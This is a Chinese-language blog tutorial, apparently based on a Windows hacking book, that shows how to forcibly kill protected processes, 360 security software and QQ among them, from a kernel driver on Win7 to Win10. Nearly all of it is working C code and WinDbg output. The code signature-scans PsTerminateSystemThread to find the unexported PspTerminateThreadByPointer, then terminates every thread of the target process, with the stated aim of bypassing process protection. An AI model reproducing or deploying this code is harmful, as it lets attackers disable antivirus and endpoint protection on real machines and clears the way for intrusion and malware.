查找并使用PspTerminateThreadByPointer函数强制结束进程可以杀360进程

DemonGan

发布日期: 2019-02-23 21:08:06 浏览量: 1396
评分:
star star star star star star star star star star_border
*转载请注明来自write-bug.com

背景

学习计算机的同学,或多或少都会有一个黑客情节。总是会想成为一个无拘无束的“黑客”,探索计算机世界里技术的边缘,挑战一切规则与界限。其实,正如电影《东邪西毒》里欧阳峰说的:“人都会经历这个阶段,看见一座山,就想知道山后面是什么。我很想告诉ta,可能翻过去山后面,你会发觉没有什么特别,回头看会觉得这边更好”。

本文要介绍的就是在内核下实现,强制关掉指定进程,甚至可以关闭 360、QQ 等进程。这个技术,虽不能让你成为一名“黑客”,或许可以让你感受一把“黑科技”的瘾。现在,我就把实现过程和原理整理成文档,分享给大家。该程序适用于 32 位和 64 位 Win7 到 Win10 全平台系统。

实现过程

我们知道,线程是进程中执行运算的最小单位,是进程中的一个实体,是被系统独立调度和分派的基本单位,线程自己不拥有系统资源,只拥有一点在运行中必不可少的资源,但它可与同属一个进程的其它线程共享进程所拥有的全部资源。一个线程可以创建和撤消另一个线程,同一进程中的多个线程之间可以并发执行。

也就是说,当一个进程中的所有线程都被结束的时候,这个进程也就没有了存在的意义,也随之结束了。这,便是我们本文介绍的这种强制杀进程的实现原理,即把进程中的线程都杀掉,从而让进程消亡,实现间接杀进程的效果。

Windows 提供了一个导出的内核函数 PsTerminateSystemThread 来帮助我们结束线程,所以,类似 360、QQ 等也会对重点监测该函数,防止结束自己的线程。我们通过逆向 PsTerminateSystemThread 函数,可以发现该函数实际上调用了未导出的内核函数 PspTerminateThreadByPointer 来实现的结束线程的操作。所以,我们可以通过查找 PspTerminateThreadByPointer 函数地址,调用直接它来结束线程,就可以绕过绝大部分的进程保护,实现强制杀进程。

PspTerminateThreadByPointer 的函数声明为:

  1. NTSTATUS PspTerminateThreadByPointer (
  2. PETHREAD pEThread,
  3. NTSTATUS ntExitCode,
  4. BOOLEAN bDirectTerminate
  5. );

但要注意,PspTerminateThreadByPointer 的函数指针的声明的调用约定:

  1. // 32 位
  2. typedef NTSTATUS(*PSPTERMINATETHREADBYPOINTER_X86) (
  3. PETHREAD pEThread,
  4. NTSTATUS ntExitCode,
  5. BOOLEAN bDirectTerminate
  6. );
  7. // 64 位
  8. typedef NTSTATUS(__fastcall *PSPTERMINATETHREADBYPOINTER_X64) (
  9. PETHREAD pEThread,
  10. NTSTATUS ntExitCode,
  11. BOOLEAN bDirectTerminate
  12. );

其中,PsTerminateSystemThread 里会调用 PspTerminateThreadByPointer 函数。我们使用 WinDbg 逆向 Win8.1 x64 里的 PsTerminateSystemThread 函数,如下所示:

  1. nt!PsTerminateSystemThread:
  2. fffff800`83904518 8bd1 mov edx,ecx
  3. fffff800`8390451a 65488b0c2588010000 mov rcx,qword ptr gs:[188h]
  4. fffff800`83904523 f7417400080000 test dword ptr [rcx+74h],800h
  5. fffff800`8390452a 7408 je nt!PsTerminateSystemThread+0x1c (fffff800`83904534)
  6. fffff800`8390452c 41b001 mov r8b,1
  7. fffff800`8390452f e978d9fcff jmp nt!PspTerminateThreadByPointer (fffff800`838d1eac)
  8. fffff800`83904534 b80d0000c0 mov eax,0C000000Dh
  9. fffff800`83904539 c3 ret

由上面代码可以知道,我们可以通过扫描 PsTerminateSystemThread 内核函数中的特征码,从而获取 PspTerminateThreadByPointer 函数的偏移,再根据偏移计算出该函数的地址。其中,不同系统中的特征码也会不同,下面是我使用 WinDbg 逆向各个系统上总结的特征码的情况:

Win 7 win 8.1 win 10
32 位 0xE8 0xE8 0xE8
64 位 0xE8 0xE9 0xE9

那么,我们强制杀进程的实现原理为:

  • 首先,根据特征码扫描内存,获取 PspTerminateThreadByPointer 函数地址

  • 然后,调用 PsLookupProcessByProcessId 函数,根据将要结束进程 ID 获取对应的进程结构对象 EPROCESS

  • 接着,遍历所有的线程 ID,并调用 PsLookupThreadByThreadId 函数根据线程 ID 获取对应的线程结构 ETHREAD

  • 然后,调用函数 PsGetThreadProcess 获取线程结构 ETHREAD 对应的进程结构 EPROCESS

  • 这时,我们可以通过判断该进程是不是我们指定要结束的进程,若是,则调用 PspTerminateThreadByPointer 函数结束线程;否则,继续遍历下一个线程 ID

  • 重复上述 3、4、5 的操作,直到线程遍历完毕

这样,我们就可以查杀指定进程的所有线程,线程被结束之后,进程也随之结束。注意的是,当调用 PsLookupProcessByProcessId 和 PsLookupThreadByThreadId 等 LookupXXX 系列函数获取对象的时候,都需要调用 ObDereferenceObject 函数释放对象,否则在某些时候会造成蓝屏。

编码实现

强制结束指定进程

  1. // 强制结束指定进程
  2. NTSTATUS ForceKillProcess(HANDLE hProcessId)
  3. {
  4. PVOID pPspTerminateThreadByPointerAddress = NULL;
  5. PEPROCESS pEProcess = NULL;
  6. PETHREAD pEThread = NULL;
  7. PEPROCESS pThreadEProcess = NULL;
  8. NTSTATUS status = STATUS_SUCCESS;
  9. ULONG i = 0;
  10. #ifdef _WIN64
  11. // 64 位
  12. typedef NTSTATUS(__fastcall *PSPTERMINATETHREADBYPOINTER) (PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate);
  13. #else
  14. // 32 位
  15. typedef NTSTATUS(*PSPTERMINATETHREADBYPOINTER) (PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate);
  16. #endif
  17. // 获取 PspTerminateThreadByPointer 函数地址
  18. pPspTerminateThreadByPointerAddress = GetPspLoadImageNotifyRoutine();
  19. if (NULL == pPspTerminateThreadByPointerAddress)
  20. {
  21. ShowError("GetPspLoadImageNotifyRoutine", 0);
  22. return FALSE;
  23. }
  24. // 获取结束进程的进程结构对象EPROCESS
  25. status = PsLookupProcessByProcessId(hProcessId, &pEProcess);
  26. if (!NT_SUCCESS(status))
  27. {
  28. ShowError("PsLookupProcessByProcessId", status);
  29. return status;
  30. }
  31. // 遍历所有线程, 并结束所有指定进程的线程
  32. for (i = 4; i < 0x80000; i = i + 4)
  33. {
  34. status = PsLookupThreadByThreadId((HANDLE)i, &pEThread);
  35. if (NT_SUCCESS(status))
  36. {
  37. // 获取线程对应的进程结构对象
  38. pThreadEProcess = PsGetThreadProcess(pEThread);
  39. // 结束指定进程的线程
  40. if (pEProcess == pThreadEProcess)
  41. {
  42. ((PSPTERMINATETHREADBYPOINTER)pPspTerminateThreadByPointerAddress)(pEThread, 0, 1);
  43. DbgPrint("PspTerminateThreadByPointer Thread:%d\n", i);
  44. }
  45. // 凡是Lookup...,必需Dereference,否则在某些时候会造成蓝屏
  46. ObDereferenceObject(pEThread);
  47. }
  48. }
  49. // 凡是Lookup...,必需Dereference,否则在某些时候会造成蓝屏
  50. ObDereferenceObject(pEProcess);
  51. return status;
  52. }

获取 PspTerminateThreadByPointer 函数地址

  1. // 获取 PspTerminateThreadByPointer 函数地址
  2. PVOID GetPspLoadImageNotifyRoutine()
  3. {
  4. PVOID pPspTerminateThreadByPointerAddress = NULL;
  5. RTL_OSVERSIONINFOW osInfo = { 0 };
  6. UCHAR pSpecialData[50] = { 0 };
  7. ULONG ulSpecialDataSize = 0;
  8. // 获取系统版本信息, 判断系统版本
  9. RtlGetVersion(&osInfo);
  10. if (6 == osInfo.dwMajorVersion)
  11. {
  12. if (1 == osInfo.dwMinorVersion)
  13. {
  14. // Win7
  15. #ifdef _WIN64
  16. // 64 位
  17. // E8
  18. pSpecialData[0] = 0xE8;
  19. ulSpecialDataSize = 1;
  20. #else
  21. // 32 位
  22. // E8
  23. pSpecialData[0] = 0xE8;
  24. ulSpecialDataSize = 1;
  25. #endif
  26. }
  27. else if (2 == osInfo.dwMinorVersion)
  28. {
  29. // Win8
  30. #ifdef _WIN64
  31. // 64 位
  32. #else
  33. // 32 位
  34. #endif
  35. }
  36. else if (3 == osInfo.dwMinorVersion)
  37. {
  38. // Win8.1
  39. #ifdef _WIN64
  40. // 64 位
  41. // E9
  42. pSpecialData[0] = 0xE9;
  43. ulSpecialDataSize = 1;
  44. #else
  45. // 32 位
  46. // E8
  47. pSpecialData[0] = 0xE8;
  48. ulSpecialDataSize = 1;
  49. #endif
  50. }
  51. }
  52. else if (10 == osInfo.dwMajorVersion)
  53. {
  54. // Win10
  55. #ifdef _WIN64
  56. // 64 位
  57. // E9
  58. pSpecialData[0] = 0xE9;
  59. ulSpecialDataSize = 1;
  60. #else
  61. // 32 位
  62. // E8
  63. pSpecialData[0] = 0xE8;
  64. ulSpecialDataSize = 1;
  65. #endif
  66. }
  67. // 根据特征码获取地址
  68. pPspTerminateThreadByPointerAddress = SearchPspTerminateThreadByPointer(pSpecialData, ulSpecialDataSize);
  69. return pPspTerminateThreadByPointerAddress;
  70. }

根据特征码获取 PspTerminateThreadByPointer 数组地址

  1. // 根据特征码获取 PspTerminateThreadByPointer 数组地址
  2. PVOID SearchPspTerminateThreadByPointer(PUCHAR pSpecialData, ULONG ulSpecialDataSize)
  3. {
  4. UNICODE_STRING ustrFuncName;
  5. PVOID pAddress = NULL;
  6. LONG lOffset = 0;
  7. PVOID pPsTerminateSystemThread = NULL;
  8. PVOID pPspTerminateThreadByPointer = NULL;
  9. // 先获取 PsTerminateSystemThread 函数地址
  10. RtlInitUnicodeString(&ustrFuncName, L"PsTerminateSystemThread");
  11. pPsTerminateSystemThread = MmGetSystemRoutineAddress(&ustrFuncName);
  12. if (NULL == pPsTerminateSystemThread)
  13. {
  14. ShowError("MmGetSystemRoutineAddress", 0);
  15. return pPspTerminateThreadByPointer;
  16. }
  17. // 然后, 查找 PspTerminateThreadByPointer 函数地址
  18. pAddress = SearchMemory(pPsTerminateSystemThread,
  19. (PVOID)((PUCHAR)pPsTerminateSystemThread + 0xFF),
  20. pSpecialData, ulSpecialDataSize);
  21. if (NULL == pAddress)
  22. {
  23. ShowError("SearchMemory", 0);
  24. return pPspTerminateThreadByPointer;
  25. }
  26. // 先获取偏移, 再计算地址
  27. lOffset = *(PLONG)pAddress;
  28. pPspTerminateThreadByPointer = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset);
  29. return pPspTerminateThreadByPointer;
  30. }

指定内存区域的特征码扫描

  1. // 指定内存区域的特征码扫描
  2. PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize)
  3. {
  4. PVOID pAddress = NULL;
  5. PUCHAR i = NULL;
  6. ULONG m = 0;
  7. // 扫描内存
  8. for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++)
  9. {
  10. // 判断特征码
  11. for (m = 0; m < ulMemoryDataSize; m++)
  12. {
  13. if (*(PUCHAR)(i + m) != pMemoryData[m])
  14. {
  15. break;
  16. }
  17. }
  18. // 判断是否找到符合特征码的地址
  19. if (m >= ulMemoryDataSize)
  20. {
  21. // 找到特征码位置, 获取紧接着特征码的下一地址
  22. pAddress = (PVOID)(i + ulMemoryDataSize);
  23. break;
  24. }
  25. }
  26. return pAddress;
  27. }

程序测试

在 Win7 32 位系统下,驱动程序正常执行:

在 Win8.1 32 位系统下,驱动程序正常执行:

在 Win10 32 位系统下,驱动程序正常执行:

在 Win7 64 位系统下,驱动程序正常执行:

在 Win8.1 64 位系统下,驱动程序正常执行:

在 Win10 64 位系统下,驱动程序正常执行:

总结

这个程序的原理不难理解,关键是如何定位 PspTerminateThreadByPointer 未导出的内核函数在 PsTerminateSystemThread 函数中的位置,要在各个版本系统上进行逆向,以确定内存特征码。

参考

参考自《Windows黑客编程技术详解》一书

上传的附件 cloud_download ForceKillProcess_Test.7z ( 11.38kb, 16次下载 )

发送私信

这一切都不是我的,但总有一天,会是我的

73
文章数
67
评论数
最近文章
eject